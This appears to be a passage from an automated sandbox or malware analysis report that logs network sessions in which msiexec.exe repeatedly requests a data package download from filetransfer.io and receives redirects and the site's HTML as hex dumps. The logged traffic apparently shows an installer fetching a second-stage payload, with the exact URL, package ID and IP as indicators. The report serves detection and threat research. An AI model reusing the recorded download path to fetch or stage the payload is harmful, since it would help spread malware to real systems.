2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 6e 65 72 Data Ascii: <section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__owner
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e 3e 2e 0a Data Ascii: </p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span>.
2025-01-10 19:14:23 UTC	1369	IN	Data Raw: 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 6c 65 61 73 65 20 61 64 64 20 74 68 65 20 73 70 65 63 Data Ascii: warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, please add the spec

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	57937	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:24 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:24 UTC	617	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:24 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:24 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vdBHzV219qh63RvebLAVW6I4TGnSsDOhVOL5bfPLtUWfGfIJKKVvur%2BeSR1kmbRDi%2BS165zQMD2fMMqLq4qEwU5mIPFWkGfXXPfvNXhE5%2B9ruBsDWj6%2F5AilR9wbwZuDC4g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd65adb70cbe-EWR
2025-01-10 19:14:24 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	57938	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:24 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:24 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:24 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: ritQh2V28zTg+jPqha+slYfWFea1Qd1TRbsDZLlC1YFLxliYsbJQqo5js8G4h39BbA8xAECux+A= x-amz-request-id: 3JRJ795KMEC77159 Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ojuoTpVxH0UURpywyr0L4kjxzOWvtyzIfPORpqFMA5qHL%2FCNVlLU8Ig47%2BeVA3baWw4yp1uY0FF5fe%2BCCNPOPsjNPxnin8Ib3lCY5NgiL78qTONzQ1C1k7zvjn22w2ewYHg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd698a1641b4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1548&min_rtt=1542&rtt_var=590&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1834170&cwnd=209&unsent_bytes=0&cid=b2e4ebfbf9c76c11&ts=181&x=0"
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 32 31 61 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 21a8<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 6e 22 20 73 69 7a 65 73 3d 22 31 36 30 78 31 36 30 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 36 30 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 39 36 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 Data Ascii: n" sizes="160x160" href="/img/favicon/160.png"><link rel="apple-touch-icon" sizes="192x192" href="/img/favicon/192.png"><link rel="apple-touch-icon-precomposed" sizes="96x96" href="/img/favicon/solid/96.png"><link rel="apple-touch-icon-precompose
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 43 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 30 30 30 30 30 30 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 54 69 6c 65 49 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 31 34 34 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 37 30 78 37 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 74 69 Data Ascii: <meta name="application-name" content="FileTransfer.io"><meta name="msapplication-TileColor" content="#000000"><meta name="msapplication-TileImage" content="/img/favicon/144.png"><meta name="msapplication-square70x70logo" content="/img/favicon/ms/ti
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 75 74 73 20 3d 20 7b 7d 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 74 61 67 69 6e 70 75 74 20 3d 20 22 53 65 70 61 72 61 74 65 20 77 69 74 68 20 61 20 63 6f 6d 6d 61 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 4c 6f 61 64 69 6e 67 20 3d 20 22 50 6c 65 61 73 65 20 77 61 69 74 e2 80 a6 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 70 6f 70 75 70 43 6c 6f 73 65 20 3d 20 22 43 6c 6f 73 65 20 28 45 53 43 29 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 65 6d 61 69 6c 52 65 71 75 69 72 65 64 20 3d 20 22 50 6c 65 61 73 65 20 65 6e 74 65 72 20 61 6e 20 65 2d 6d 61 69 6c 20 61 64 64 72 65 73 73 20 Data Ascii: uts = {}; MESSAGES.placeholders.taginput = "Separate with a comma"; MESSAGES.placeholders.popupLoading = "Please wait"; MESSAGES.placeholders.popupClose = "Close (ESC)"; MESSAGES.alerts.emailRequired = "Please enter an e-mail address
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 53 41 47 45 53 2e 6c 61 62 65 6c 73 2e 63 6f 70 79 4d 61 6e 75 61 6c 6c 79 2e 63 6d 64 20 3d 20 22 50 72 65 73 73 20 e2 8c 98 2d 43 22 3b 0a 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 66 69 6c 65 6c 69 73 74 20 3d 20 22 43 68 6f 6f 73 65 20 66 69 6c 65 73 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 69 6e 67 20 3d 20 22 25 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 43 6f 6d 70 6c 65 74 65 20 3d 20 22 44 61 74 61 20 70 61 63 6b 61 67 65 20 75 70 6c 6f 61 64 65 64 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 74 6c 65 73 2e 75 70 6c 6f 61 64 50 72 6f 62 6c 65 6d 20 3d 20 22 50 72 6f 62 6c 65 6d 20 77 69 74 68 20 75 70 Data Ascii: SAGES.labels.copyManually.cmd = "Press -C"; MESSAGES.titles.filelist = "Choose files"; MESSAGES.titles.uploading = "% uploaded"; MESSAGES.titles.uploadComplete = "Data package uploaded"; MESSAGES.titles.uploadProblem = "Problem with up
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 6f 6f 67 6c 65 20 74 61 67 20 28 67 74 61 67 2e 6a 73 29 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 47 4b 4a 5a 54 35 30 46 35 58 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 Data Ascii: oogle tag (gtag.js) --><script async src="https://www.googletagmanager.com/gtag/js?id=G-GKJZT50F5X"></script><script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config',
2025-01-10 19:14:24 UTC	410	IN	Data Raw: 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 74 69 74 6c 65 3d 22 52 65 71 75 65 73 74 20 66 69 6c 65 73 22 0a 09 09 09 09 20 20 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 22 20 68 72 65 66 3d 22 2f 70 72 69 63 65 6c 69 73 74 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 6e 64 65 72 6c 69 6e 65 2d 69 74 65 6d 22 3e 52 65 71 75 65 73 74 20 66 69 6c 65 73 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 62 61 64 67 65 20 73 6d 61 6c 6c 20 66 69 6c 6c 65 64 22 3e 62 65 74 61 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 3c 2f 6c 69 3e 0a 0a 09 09 09 09 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 69 67 61 74 69 6f 6e 2d 69 74 65 6d 22 3e 0a 09 09 09 09 3c 61 20 Data Ascii: avigation-item"><a title="Request files" class="underline" href="/pricelist"><span class="underline-item">Request files</span><span class="badge small filled">beta</span></a></li><li class="navigation-item"><a
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 32 61 32 37 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d Data Ascii: 2a27<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Frem
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 73 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 Data Ascii: s</label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="ma
2025-01-10 19:14:24 UTC	1369	IN	Data Raw: 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 65 78 63 6c 61 6d 61 74 69 6f 6e 2d 74 72 69 61 6e 67 6c 65 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 69 6e 67 6c 65 22 3e 54 68 65 20 66 6f 6c 64 65 72 20 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 63 6f 6e 74 65 6e 74 3d 22 64 69 72 6e 61 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 20 63 61 6e 6e 6f 74 20 62 65 20 61 64 64 65 64 20 61 6c 6c 20 61 74 20 6f 6e 63 65 2c 20 70 Data Ascii: lass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories"><span class="icon-exclamation-triangle"></span><span class="single">The folder <span data-content="dirnames"></span> cannot be added all at once, p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	57939	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:25 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:14:26 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:14:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:14:25 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ntSolzHZJXfEofNRmPIvkfB54AszdlR%2FHzaT0n6b8c%2B1OHgSJK1yilvh1De4qKJwVZvpWVriQ4weweVUWlIx4%2BfjFsyfVjo3DYhQvuPFBk0XDyIhgZwcWU6nPL23Jbl9Cyw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd706c2f43bd-EWR
2025-01-10 19:14:26 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	57940	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:14:26 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:14:26 UTC	944	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:14:26 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: VDApunG5vhKAlhEOeND+3nF2ZR1PyFCEvdKH+bhE6pwo027OJTkmxEvv+vRIxv6pIXyqYQzBnas= x-amz-request-id: NKXRGN1JZTV3XXSK Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S6EDcJ%2FmsNhP%2FSOyv52d8DJecNwE4JmREHCwRn4EPTQfK1XoJZiGeqTkszaLfzqKlXlkyYPAlocmp5aoCrwsFm2ADEZDvXWeI3DeyGexHWh4VK%2B889T4kdupi6OMnFKwUIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefd745ddb4213-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1595&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=798&delivery_rate=1830721&cwnd=231&unsent_bytes=0&cid=ebd97810632b3067&ts=201&x=0"
2025-01-10 19:14:26 UTC	425	IN	Data Raw: 32 63 61 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 2cad<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:14:26 UTC	1369	IN	Data Raw: 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a 64 65 73 63 72 69 70 74 Data Ascii: a charset="utf-8">...[if 